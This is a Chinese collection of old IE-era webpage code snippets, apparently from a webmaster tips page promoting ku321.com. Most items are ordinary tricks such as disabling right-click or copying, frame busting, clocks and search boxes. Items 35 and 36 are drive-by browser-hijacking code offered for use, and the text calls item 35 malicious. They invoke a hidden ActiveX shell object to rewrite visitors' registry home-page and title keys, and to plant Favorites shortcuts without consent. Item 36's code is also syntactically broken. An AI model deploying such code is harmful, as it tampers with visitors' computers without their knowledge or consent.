1:将彻底屏蔽鼠标右键
oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键
<table border oncontextmenu=return(false)><td>no</table> 可用于Table
2:取消选取、防止复制
<body onselectstart="return false">
3:不准粘贴
onpaste="return false"
4:防止复制
oncopy="return false;" oncut="return false;"
5:IE地址栏前换成自己的图标
<link rel="Shortcut Icon" href="favicon.ico">
6:可以在收藏夹中显示出你的图标
<link rel="Bookmark" href="favicon.ico">
7:关闭输入法
<input style="ime-mode:disabled">
8:永远都会带着框架
<script language="JavaScript"><!--
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
// --></script>
9:防止被人frame
<SCRIPT LANGUAGE=JAVASCRIPT><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>
10:网页将不能被另存为
<noscript><iframe src=*.html></iframe></noscript>
11:查看网页源代码
<input type=button value=查看网页源代码
onclick="window.location = 'view-source:'+ 'http://www.51js.com/'">
12:删除时确认
<a href='javascript :if(confirm("确实要删除吗?"))location="boos.asp?&areyou=删除&page=1"'>删除</a>
13:13. 取得控件的绝对位置
//Javascript
<script language="Javascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+"/nleft="+l);
}
</script>
//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
while a.tagName<>"BODY"
set a = a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
end function
--></script>
14:光标是停在文本框文字的最后
<script language="javascript">
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart('character',e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value="123" onfocus="cc()">
15:判断上一页的来源
javascript :document.referrer
16:最小化、最大化、关闭窗口
<object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" VALUE="Close"></OBJECT> <input type=button value=最小化 onclick=hh1.Click()>
<input type=button value=最大化 onclick=hh2.Click()>
<input type=button value=关闭 onclick=hh3.Click()>
本例适用于IE
17:屏蔽功能键Shift,Alt,Ctrl
<script>
function look(){
if(event.shiftKey)
alert("禁止按Shift键!"); //可以换成ALT CTRL
}
document.onkeydown=look;
</script>
18:网页不会被缓存
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或者<META HTTP-EQUIV="expires" CONTENT="0">
19:怎样让表单没有凹凸感？
<input type=text style="border:1 solid #000000">
或
<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom:
1 solid #000000"></textarea>
20:让弹出窗口总是在最上面
<body onblur="this.focus();">
21:不要滚动条?
让竖条没有:
<body style='overflow:scroll;overflow-y:hidden'>
</body>
让横条没有:
<body style='overflow:scroll;overflow-x:hidden'>
</body>
两个都去掉？更简单了
<body scroll="no">
</body>
22:怎样去掉图片链接点击后，图片周围的虚线？
<a href="#" onFocus="this.blur()"><img src="logo.jpg" border=0></a>
23:在打开的子窗口刷新父窗口的代码里如何写？
window.opener.location.reload()
24:如何设定打开页面的大小
<body onload="top.resizeTo(300,200);">
打开页面的位置<body onload="top.moveBy(300,200);">
25:在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
<STYLE>
body
{background-image:url(logo.gif); background-repeat:no-repeat;
background-position:center;background-attachment: fixed}
</STYLE>
26:脚本永不出错
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</SCRIPT>
27:检测某个网站的链接速度
把如下代码加入<body>区域中:
<script language=Javascript>
tim=1
setInterval("tim++",100)
b=1
var autourl=new Array()
autourl[1]="www.njcatv.net"
autourl[2]="javacool.3322.net"
autourl[3]="www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="www.cctv.com"
function butt(){
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=text
name=url"+i+" size=40> =》<input type=button value=GO
onclick=window.open(this.form.url"+i+".value)><br>")
document.write("<input type=submit value=刷新></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接超时"}
else
{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}
b++
}
function run(){for(var i=1;i<autourl.length;i++)document.write("<img
src=http://"+autourl+"/"+Math.random()+" width=1 height=1
onerror=auto('http://"+autourl+"')>")}
run()</script>
28:页面进入和退出的特效
进入页面<meta http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)">
推出页面<meta http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)">
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间，以秒为单位。transition表示使
用哪种特效，取值为1-23:
0 矩形缩小
1 矩形扩大
2 圆形缩小
3 圆形扩大
4 下到上刷新
5 上到下刷新
6 左到右刷新
7 右到左刷新
8 竖百叶窗
9 横百叶窗
10 错位横百叶窗
11 错位竖百叶窗
12 点扩散
13 左右到中间刷新
14 中间到左右刷新
15 中间到上下
16 上下到中间
17 右下到左上
18 右上到左下
19 左上到右下
20 左下到右上
21 横条
22 竖条
23 以上22种随机选择一种
29:在规定时间内跳转
<META http-equiv=V="REFRESH" content="5;URL=http://www.ku321.com">
30:文字不听闪烁（状态栏）
<script language="">
<!--
var yourwords = "欢迎来到企步令网址之家www.ku321.com，请多提意见。谢谢! ";
var speed = 700;
var control = 1;
function Helpor_net()
{
if (control == 1)
{
window.status=yourwords;
control=0;
}
else
{
window.status="";
control=1;
}
setTimeout("Helpor_net()",speed);
}
Helpor_net()
// -->
</script>
31:鼠标右键绝对禁止
作者：佚名 文章来源：网络
<script language="javascript">
<!--
if (window.Event)
document.captureEvents(Event.MOUSEUP);
function nocontextmenu()
{
event.cancelBubble = true
event.returnValue = false;
return false;
}
function norightclick(e)
{
if (window.Event)
{
if (e.which == 2 || e.which == 3)
return false;
}
else
if (event.button == 2 || event.button == 3)
{
event.cancelBubble = true
event.returnValue = false;
return false;
}
}
document.oncontextmenu = nocontextmenu; // for IE5+
document.onmousedown = norightclick; // for all others
//-->
</script>
32:百度站内搜索
使用本段代码时，您只需要用您的网站地址替换代码中"www.guoxue.com"即可实现站内搜索功能
HTML代码：
<SCRIPT language=javascript>
function g(formname) {
var url = "http://www.baidu.com/baidu";
if (formname.s[1].checked) {
formname.ct.value = "2097152";
}
else {
formname.ct.value = "0";
}
formname.action = url;
return true;
}
</SCRIPT>
<form name="f1" onsubmit="return g(this)">
<table style="font-size:9pt;">
<tr height="100"><td valign="top"><img src="/uploadfile/200904/20/93191450911.gif" border="0" alt="baidu"></td>
<td>
<input name=word size="30" maxlength="100">
<input type="submit" value="百度搜索"><br>
<input name=tn type=hidden value="bds">
<input name=cl type=hidden value="3">
<input name=ct type=hidden>
<input name=si type=hidden value="www.guoxue.com">
<input name=s type=radio> 互联网
<input name=s type=radio checked> www.guoxue.com
</td></tr></table>
</form>
33:百度搜索功能
<form action="http://www.baidu.com/baidu" target="_blank">
<div align="center">
<input name=tn type=hidden value=baidu>
<a href="/uploadfile/200904/20/86191451142.gif" alt="Baidu" align="bottom" border="0"></a>
<input type=text name=word size=30>
<input type="submit" value="百度搜索">
</div>
</form>
34:精美的时钟特效代码.
A.menuitem {
COLOR: menutext; TEXT-DECORATION: none
}
A.menuitem:hover {
COLOR: highlighttext; BACKGROUND-COLOR: highlight
}
DIV.contextmenu {
BORDER-RIGHT: 2px outset; BORDER-TOP: 2px outset; Z-INDEX: 999; VISIBILITY: hidden; BORDER-LEFT: 2px outset; BORDER-BOTTOM: 2px outset; POSITION: absolute; BACKGROUND-COLOR: buttonface
}
function Year_Month(){
var now = new Date();
var yy = now.getYear();
var mm = now.getMonth()+1;
var cl = '<font color="#0000df">';
if (now.getDay() == 0) cl = '<font color="#c00000">';
if (now.getDay() == 6) cl = '<font color="#00c000">';
return(cl + yy + '年' + mm + '月</font>'); }
function Date_of_Today(){
var now = new Date();
var cl = '<font color="#ff0000">';
if (now.getDay() == 0) cl = '<font color="#c00000">';
if (now.getDay() == 6) cl = '<font color="#00c000">';
return(cl + now.getDate() + '</font>'); }
function Day_of_Today(){
var day = new Array();
day[0] = "星期日";
day[1] = "星期一";
day[2] = "星期二";
day[3] = "星期三";
day[4] = "星期四";
day[5] = "星期五";
day[6] = "星期六";
var now = new Date();
var cl = '<font color="#0000df">';
if (now.getDay() == 0) cl = '<font color="#c00000">';
if (now.getDay() == 6) cl = '<font color="#00c000">';
return(cl + day[now.getDay()] + '</font>'); }
function CurentTime(){
var now = new Date();
var hh = now.getHours();
var mm = now.getMinutes();
var ss = now.getTime() % 60000;
ss = (ss - (ss % 1000)) / 1000;
var clock = hh+':';
if (mm < 10) clock += '0';
clock += mm+':';
if (ss < 10) clock += '0';
clock += ss;
return(clock); }
function refreshCalendarClock(){
document.all.calendarClock1.innerHTML = Year_Month();
document.all.calendarClock2.innerHTML = Date_of_Today();
document.all.calendarClock3.innerHTML = Day_of_Today();
document.all.calendarClock4.innerHTML = CurentTime(); }
var webUrl = webUrl;
document.write('<table border="0" cellpadding="0" cellspacing="0"><tr><td>');
document.write('<table id="CalendarClockFreeCode" border="0" cellpadding="0" cellspacing="0" width="60" height="70" ');
document.write('style="position:absolute;visibility:hidden" bgcolor="#eeeeee">');
document.write('<tr><td align="center"><font ');
document.write('style="cursor:hand;color:#ff0000;font-family:宋体;font-size:14pt;line-height:120%" ');
if (webUrl != 'netflower'){
document.write('</td></tr><tr><td align="center"><font ');
document.write('style="cursor:hand;color:#2000ff;font-family:宋体;font-size:9pt;line-height:110%" ');
}
document.write('</td></tr></table>');
document.write('<table border="0" cellpadding="0" cellspacing="0" width="61" bgcolor="#ffffff" height="70">');
document.write('<tr><td valign="top" width="100%" height="100%">');
document.write('<table border="1" cellpadding="0" cellspacing="0" width="61" bgcolor="yellow" height="70">');
document.write('<tr><td align="center" width="100%" height="100%" >');
document.write('<font id="calendarClock1" style="font-family:宋体;font-size:7pt;line-height:120%"> </font><br>');
document.write('<font id="calendarClock2" style="color:#ff0000;font-family:Arial;font-size:14pt;line-height:120%"> </font><br>');
document.write('<font id="calendarClock3" style="font-family:宋体;font-size:9pt;line-height:120%"> </font><br>');
document.write('<font id="calendarClock4" style="color:#100080;font-family:宋体;font-size:8pt;line-height:120%"><b> </b></font>');
document.write('</td></tr></table>');
document.write('</td></tr></table>');
document.write('</td></tr></table>');
setInterval('refreshCalendarClock()',1000);
35:自动设为主页(强制性设为首页的恶意代码)
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.ku321.com");
Shl.RegWrite ("HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", "企步令网址之家");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "企步令网址之家");
}
function init()
{
setTimeout("f()", 1000);
}
init();
</SCRIPT>
36:在收藏夹生成文件的代码(将以下代码加进网页后，只要别人一打开就可以自动加进收藏夹)
<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{hzy=document.applets[0];hzy.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");hzy.createInstance();yuzi=hzy.GetObject();hzy.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");hzy.createInstance();try{Shor=yuzi.CreateShortcut(hzy.GetObject().GetSpecialFolder(0)+"\\Favorites"+"\\"+"【企步令网址之家】"+".URL");Shor.TargetPath="http://www.ku321.com";;Shor.Save();}catch(yu){]catch(yu){]setTimeout("yuzi()",1000);</SCRIPT>
37:禁止查看网页源代码(这种样式不太好!)
只要在<head>和</head>之间加入下面这段代码就可以了：
<SCRIPT language=javascript>
function click() {
if (event.button==2) {alert('企步令网址之家欢迎你！')
} }
document.onmousedown=click
</SCRIPT>
